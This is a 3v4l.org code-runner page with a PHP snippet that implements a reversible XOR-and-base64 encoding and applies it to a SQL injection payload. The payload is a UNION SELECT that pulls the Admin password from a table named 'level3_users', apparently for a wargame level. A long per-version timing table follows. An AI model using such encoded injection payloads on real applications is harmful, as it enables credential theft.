3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT 1,Password,3,4,5,6,7 FROM level3_users WHERE username='Admin'--"); print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0140.00316.88
8.3.50.0110.00817.53
8.3.40.0060.00919.09
8.3.30.0150.00019.09
8.3.20.0080.00018.95
8.3.10.0030.00520.61
8.3.00.0040.00419.25
8.2.180.0120.00316.88
8.2.170.0100.00622.96
8.2.160.0070.00721.19
8.2.150.0060.00324.18
8.2.140.0060.00324.66
8.2.130.0040.00426.16
8.2.120.0040.00419.95
8.2.110.0050.00521.18
8.2.100.0120.00017.84
8.2.90.0070.00321.09
8.2.80.0080.00018.04
8.2.70.0030.00517.75
8.2.60.0000.00917.93
8.2.50.0030.00618.07
8.2.40.0000.00818.22
8.2.30.0090.00018.19
8.2.20.0000.00817.97
8.2.10.0040.00417.84
8.2.00.0040.00417.81
8.1.280.0070.00725.92
8.1.270.0050.00324.66
8.1.260.0090.00026.35
8.1.250.0000.00728.09
8.1.240.0130.00022.17
8.1.230.0100.00321.05
8.1.220.0050.00317.91
8.1.210.0040.00418.97
8.1.200.0070.00617.60
8.1.190.0030.00517.55
8.1.180.0090.00018.10
8.1.170.0040.00418.83
8.1.160.0000.00818.96
8.1.150.0080.00018.71
8.1.140.0030.00620.82
8.1.130.0000.00817.88
8.1.120.0040.00417.60
8.1.110.0000.00817.67
8.1.100.0000.00717.70
8.1.90.0000.00717.57
8.1.80.0030.00517.65
8.1.70.0030.00517.67
8.1.60.0030.00617.76
8.1.50.0000.00817.70
8.1.40.0050.00317.61
8.1.30.0000.00717.74
8.1.20.0090.00017.89
8.1.10.0040.00417.66
8.1.00.0040.00417.71
8.0.300.0050.00320.16
8.0.290.0040.00417.00
8.0.280.0050.00518.51
8.0.270.0030.00317.19
8.0.260.0030.00317.01
8.0.250.0050.00217.14
8.0.240.0020.00517.20
8.0.230.0070.00017.12
8.0.220.0050.00317.10
8.0.210.0030.00517.09
8.0.200.0030.00317.03
8.0.190.0000.00717.15
8.0.180.0000.00716.98
8.0.170.0030.00617.09
8.0.160.0070.00016.96
8.0.150.0090.00016.90
8.0.140.0040.00417.06
8.0.130.0060.00013.52
8.0.120.0030.00517.00
8.0.110.0070.00016.91
8.0.100.0070.00017.05
8.0.90.0050.00216.95
8.0.80.0110.00717.08
8.0.70.0080.00017.15
8.0.60.0050.00517.14
8.0.50.0050.00217.14
8.0.30.0100.01217.23
8.0.20.0080.01017.35
8.0.10.0000.00917.08
8.0.00.0140.00317.03
7.4.330.0050.00013.18
7.4.320.0030.00316.86
7.4.300.0000.00716.75
7.4.290.0030.00316.74
7.4.280.0000.00816.88
7.4.270.0000.00716.75
7.4.260.0030.00313.52
7.4.250.0080.00016.83
7.4.240.0070.00016.67
7.4.230.0000.00716.84
7.4.220.0110.00716.82
7.4.210.0090.00916.81
7.4.200.0050.00216.96
7.4.190.0020.00516.71
7.4.160.0100.00616.85
7.4.150.0110.00516.70
7.4.140.0110.00716.71
7.4.130.0060.01216.61
7.4.120.0070.01116.64
7.4.110.0130.00316.77
7.4.100.0150.00316.54
7.4.90.0080.01116.59
7.4.80.0110.00719.39
7.4.70.0060.01116.83
7.4.60.0080.01016.73
7.4.50.0030.00616.66
7.4.40.0030.01216.56
7.4.30.0060.00916.80
7.4.00.0110.00615.32
7.3.330.0030.00313.57
7.3.320.0060.00013.57
7.3.310.0030.00516.35
7.3.300.0030.00316.55
7.3.290.0110.00616.61
7.3.280.0060.01116.57
7.3.270.0170.00716.84
7.3.260.0110.01016.55
7.3.250.0120.00916.75
7.3.240.0080.00816.58
7.3.230.0090.00916.77
7.3.210.0110.00516.68
7.3.200.0100.00716.91
7.3.190.0150.00316.62
7.3.180.0090.00616.80
7.3.170.0030.01316.68
7.3.160.0130.00716.58
7.3.120.0040.01315.21
7.3.110.0040.00815.03
7.3.100.0090.00315.32
7.3.90.0060.01214.93
7.3.80.0000.01414.78
7.3.70.0040.00814.85
7.3.60.0030.01315.11
7.3.50.0090.00614.99
7.3.40.0140.00015.04
7.3.30.0060.00914.95
7.3.20.0110.00616.69
7.3.10.0000.01316.68
7.3.00.0090.00616.79
7.2.330.0130.00616.91
7.2.320.0150.00916.80
7.2.310.0040.01616.90
7.2.300.0070.01116.78
7.2.290.0100.00716.82
7.2.250.0060.01215.50
7.2.240.0030.01715.45
7.2.230.0070.00315.19
7.2.220.0060.00615.18
7.2.210.0060.00615.27
7.2.200.0060.00915.20
7.2.190.0060.00615.38
7.2.180.0030.01015.39
7.2.170.0000.01115.12
7.2.00.0000.01419.77
7.1.330.0030.01315.94
7.1.320.0000.01716.02
7.1.310.0000.01016.21
7.1.300.0150.00415.79
7.1.290.0040.01115.71
7.1.280.0130.00315.89
7.1.270.0080.00815.71
7.1.260.0000.00915.82
7.1.100.0720.01016.56
7.1.70.0090.00617.33
7.1.60.0100.00319.40
7.1.50.0000.01817.26
7.1.00.0000.08022.29
7.0.200.0330.00714.58
7.0.140.0000.07722.08
7.0.120.0070.07022.13
7.0.60.0130.08020.05
7.0.50.0030.07317.93
7.0.40.0270.08320.29
7.0.30.0270.06720.32
7.0.20.0270.05020.25
7.0.10.0230.08320.28
7.0.00.0230.06020.04
5.6.280.0070.07020.91
5.6.210.0200.06720.71
5.6.200.0030.04718.19
5.6.190.0300.05320.55
5.6.180.0270.06320.68
5.6.170.0270.05020.51
5.6.160.0130.07020.41
5.6.150.0270.07320.50
5.6.140.0230.05720.32
5.6.130.0270.08020.33
5.6.120.0200.08320.17
5.6.110.0200.08720.48
5.6.100.0270.05020.35
5.6.90.0230.05720.18
5.6.80.0270.05319.56
5.6.70.0230.07319.73
5.6.60.0230.07319.71
5.6.50.0130.06719.91
5.6.40.0100.06019.88
5.6.30.0200.05319.56
5.6.20.0170.04319.78
5.6.10.0100.05019.88
5.6.00.0170.04019.67
5.5.350.0400.06720.33
5.5.340.0030.04018.07
5.5.330.0270.05720.57
5.5.320.0270.07720.30
5.5.310.0200.05720.32
5.5.300.0200.04020.14
5.5.290.0300.07719.97
5.5.280.0300.06320.00
5.5.270.0270.08020.22
5.5.260.0230.03720.29
5.5.250.0200.04719.78
5.5.240.0230.08019.36
5.5.230.0130.05019.55
5.5.220.0170.04319.41
5.5.210.0270.04319.57
5.5.200.0130.05019.35
5.5.190.0300.03319.57
5.5.180.0370.05719.49
5.5.160.0200.05019.65
5.5.150.0230.08719.55
5.5.140.0230.07319.32
5.5.130.0230.08019.67
5.5.120.0200.06319.55
5.5.110.0270.07319.64
5.5.100.0230.05019.55
5.5.90.0230.07019.57
5.5.80.0230.07719.57
5.5.70.0200.04319.48
5.5.60.0330.07019.39
5.5.50.0270.05319.21
5.5.40.0170.06019.32
5.5.30.0270.03719.43
5.5.20.0200.03719.21
5.5.10.0200.07719.60
5.5.00.0500.04719.41
5.4.450.0270.06319.41
5.4.440.0400.06719.49
5.4.430.0300.07019.57
5.4.420.0200.07019.57
5.4.410.0230.06319.27
5.4.400.0130.05319.16
5.4.390.0230.07019.24
5.4.380.0330.02318.98
5.4.370.0270.03319.25
5.4.360.0270.07718.88
5.4.350.0230.07318.86
5.4.340.0170.04019.27
5.4.320.0200.06318.88
5.4.310.0200.07318.87
5.4.300.0170.06019.24
5.4.290.0230.06719.24
5.4.280.0230.07719.23
5.4.270.0270.05319.14
5.4.260.0270.06719.26
5.4.250.0270.05018.95
5.4.240.0130.07318.98
5.4.230.0170.05019.14
5.4.220.0330.06319.14
5.4.210.0270.04719.14
5.4.200.0230.05319.24
5.4.190.0200.03719.21
5.4.180.0270.03319.14
5.4.170.0230.07018.91
5.4.160.0270.07019.03
5.4.150.0270.04319.23
5.4.140.0200.07316.36
5.4.130.0200.03716.41
5.4.120.0170.06316.37
5.4.110.0100.05016.38
5.4.100.0130.05716.46
5.4.90.0200.03716.47
5.4.80.0270.06316.33
5.4.70.0230.05016.49
5.4.60.0300.06316.41
5.4.50.0200.04016.37
5.4.40.0200.04016.41
5.4.30.0200.05316.40
5.4.20.0200.06716.39
5.4.10.0270.07016.27
5.4.00.0130.07715.70
5.3.290.0300.06314.73
5.3.280.0170.04714.61
5.3.270.0200.08014.62
5.3.260.0200.06014.53
5.3.250.0300.06714.62
5.3.240.0270.04314.65
5.3.230.0300.05014.63
5.3.220.0270.05014.61
5.3.210.0330.05714.49
5.3.200.0230.06014.63
5.3.190.0200.06314.60
5.3.180.0300.07314.58
5.3.170.0270.05014.57
5.3.160.0200.06714.57
5.3.150.0270.06314.57
5.3.140.0300.06714.48
5.3.130.0270.03714.71
5.3.120.0200.05014.63
5.3.110.0230.06014.63
5.3.100.0170.05014.05
5.3.90.0230.06714.08
5.3.80.0230.07014.02
5.3.70.0130.04714.17
5.3.60.0470.05014.17
5.3.50.0130.04713.85
5.3.40.0170.08013.88
5.3.30.0230.06013.95
5.3.20.0230.04313.76
5.3.10.0270.05713.72
5.3.00.0200.04013.56
5.2.170.0170.06713.14
5.2.160.0230.04313.14
5.2.150.0230.06313.14
5.2.140.0230.05713.14
5.2.130.0170.05013.14
5.2.120.0130.06313.14
5.2.110.0170.03313.14
5.2.100.0230.02713.14
5.2.90.0270.04713.14
5.2.80.0200.04013.14
5.2.70.0300.05013.14
5.2.60.0200.03313.14
5.2.50.0270.05313.14
5.2.40.0170.05313.14
5.2.30.0170.04313.14
5.2.20.0170.04013.14
5.2.10.0200.02713.14
5.2.00.0230.05013.14
5.1.60.0130.02313.14
5.1.50.0230.06013.14
5.1.40.0230.04713.14
5.1.30.0130.04713.14
5.1.20.0200.04013.14
5.1.10.0200.02713.14
5.1.00.0130.05013.14
5.0.50.0070.03713.14
5.0.40.0130.03313.14
5.0.30.0100.05313.14
5.0.20.0100.04013.14
5.0.10.0100.04313.14
5.0.00.0100.05013.14
4.4.90.0130.03013.14
4.4.80.0070.02313.14
4.4.70.0100.03313.14
4.4.60.0130.01713.14
4.4.50.0030.02313.14
4.4.40.0230.04313.14
4.4.30.0070.04013.14
4.4.20.0070.02013.14
4.4.10.0070.03313.14
4.4.00.0030.05013.14
4.3.110.0070.03713.14
4.3.100.0130.02313.14
4.3.90.0000.02713.14
4.3.80.0070.04013.14
4.3.70.0100.03313.14
4.3.60.0070.03313.14
4.3.50.0170.02713.14
4.3.40.0100.05313.14
4.3.30.0030.02313.14
4.3.20.0070.03713.14
4.3.10.0030.02713.14
4.3.00.0030.02713.14

preferences:
54.48 ms | 401 KiB | 5 Q